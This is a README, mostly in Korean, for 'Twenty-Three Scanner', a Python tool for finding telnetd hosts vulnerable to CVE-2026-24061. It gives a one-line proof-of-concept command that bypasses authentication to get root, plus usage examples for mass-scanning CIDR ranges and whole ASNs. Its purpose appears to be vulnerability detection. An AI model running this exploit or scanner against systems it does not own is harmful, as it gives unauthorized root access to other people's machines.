
CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회
Telnetd 서비스 중 CVE-2026-24061 취약점에 영향을 받는 서비스를 탐지하기 위한 강력하고, 빠르며, 우아한 스캐너입니다. 순수 Python 표준 라이브러리로 제작되었으며, 외부 의존성이 전혀 필요 없습니다.
**CVE-2026-24061**은 GNU InetUtils **Telnetd**의 NEW-ENVIRON 옵션 처리를 악용하여 인증되지 않은 원격 공격자가 루트 액세스 권한을 얻을 수 있게 하는 심각한 인증 우회 취약점입니다.
다음은 대상 호스트 측의 Telnetd 서비스 구성입니다.
그리고 다음은 이 취약점에 대한 개념 증명(PoC)으로, 공격자 호스트에서 USER="-f root" telnet -a <TARGET_HOST> 23 명령을 실행하기만 하면 수동으로 실행할 수 있습니다.
이 취약점은 텔넷 NEW-ENVIRON (RFC 1572) 옵션 협상에서 USER 환경 변수의 부적절한 검증을 악용하여, 공격자가 -f root와 같은 악성 값을 주입하여 인증을 우회할 수 있게 합니다.
9.8 (치명적) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
# Clone the Repository
cd /opt
sudo git clone https://github.com/madfxr/Twenty-Three-Scanner.git
cd Twenty-Three-Scanner
# Make Executable
sudo chmod +x twenty-three-scanner.py
# Run the Script
sudo python3 twenty-three-scanner.py -h
다음은 취약점 CVE-2026-24061 - GNU InetUtils Telnetd 원격 인증 우회를 탐지하는 데 사용할 수 있는 Twenty-Three Scanner 도구의 매뉴얼입니다.
usage: python3 twenty-three-scanner.py [-h] [-t TARGET] [-f FILE] [-a ASN] [-p PORT] [--threads N] [--user-value VALUE] [--connect-timeout SEC] [--read-timeout SEC] [--id-timeout SEC]
[--max-hosts-per-cidr N] [--max-total-hosts N] [--skip-large-networks] [-o FILE] [-v]
CVE-2026-24061 - GNU InetUtils Telnetd Remote Authentication Bypass
options:
-h, --help show this help message and exit
Target Options:
-t TARGET, --target TARGET
target IP, CIDR, or comma-separated list (can be used multiple times)
-f FILE, --file FILE file containing targets (one per line, supports comments with #)
-a ASN, --asn ASN autonomous system number (e.g., AS10111 or 10111)
Scan Options:
-p PORT, --port PORT target port(s), comma-separated (default: 23)
--threads N number of concurrent threads (default: 50)
--user-value VALUE USER environment variable value for exploit (default: '-f root')
Timeout Options:
--connect-timeout SEC
TCP connection timeout in seconds (default: 3.0)
--read-timeout SEC socket read timeout in seconds (default: 2.0)
--id-timeout SEC 'id' command response timeout in seconds (default: 2.0)
Limit Options:
--max-hosts-per-cidr N
maximum hosts to scan per CIDR block (default: 1024)
--max-total-hosts N maximum total hosts across all targets (default: 50000)
--skip-large-networks
skip networks larger than /16 (avoids accidentally scanning huge ranges)
Output Options:
-o FILE, --output FILE
save vulnerable hosts to file (format: IP:PORT)
-v, --verbose enable verbose debug logging
다음은 명령 사용 방법에 대한 몇 가지 예제입니다.
# Scan Single IP Address, and Single Port
sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23
# Scan Single IP Address, and Multiple Ports
sudo python3 twenty-three-scanner.py -t 10.0.0.23 -p 23,2323
# Scan Multiple IP Addresses, and Single Port
sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23
# Scan Multiple Addresses, and Multiple Ports
sudo python3 twenty-three-scanner.py -t 10.0.0.23,10.0.23.23 -p 23,2323
# Scan CIDR Range, and Single Port with Results
sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23 -o results.txt
# Scan CIDR Range, and Multiple Ports with Results
sudo python3 twenty-three-scanner.py -t 192.168.23.0/23 -p 23,2323 -o results.txt
# Scan Single IP Address, Multiple Addresses, or CIDR Range from File, and Single Port with Custom Thread and Output
sudo python3 twenty-three-scanner.py -f targets.txt -p 23 --threads 100 -o output.txt
# Scan Single IP Address, Multiple IP Addresss, or CIDR Range from File, and Multiple Ports with Custom Threads and Output
sudo python3 twenty-three-scanner.py -f targets.txt -p 23,2323 --threads 100 -o output.txt
# Scan ASN and Single Port with Custom Threads
sudo python3 twenty-three-scanner.py -a 10111 -p 23 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 -p 23 --threads 100
# Scan ASN and Multiple Ports with Custom Threads
sudo python3 twenty-three-scanner.py -a 10111 -p 23,2323 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 -p 23,2323 --threads 100
# Scan ASN with Custom Limits and Custom Threads
sudo python3 twenty-three-scanner.py -a 10111 --max-hosts-per-cidr 2048 --threads 100
sudo python3 twenty-three-scanner.py -a AS10111 --max-hosts-per-cidr 2048 --threads 100
단일 IP 주소를 여러 포트로 스캔.
여러 IP 주소를 단일 포트로 스캔.
CIDR 범위를 단일 포트로 스캔.
ASN을 여러 포트로 스캔.
파일에서 단일 IP 주소, 여러 주소 또는 CIDR 범위를 스캔하고, 사용자 지정 스레드 및 출력으로 단일 포트 스캔.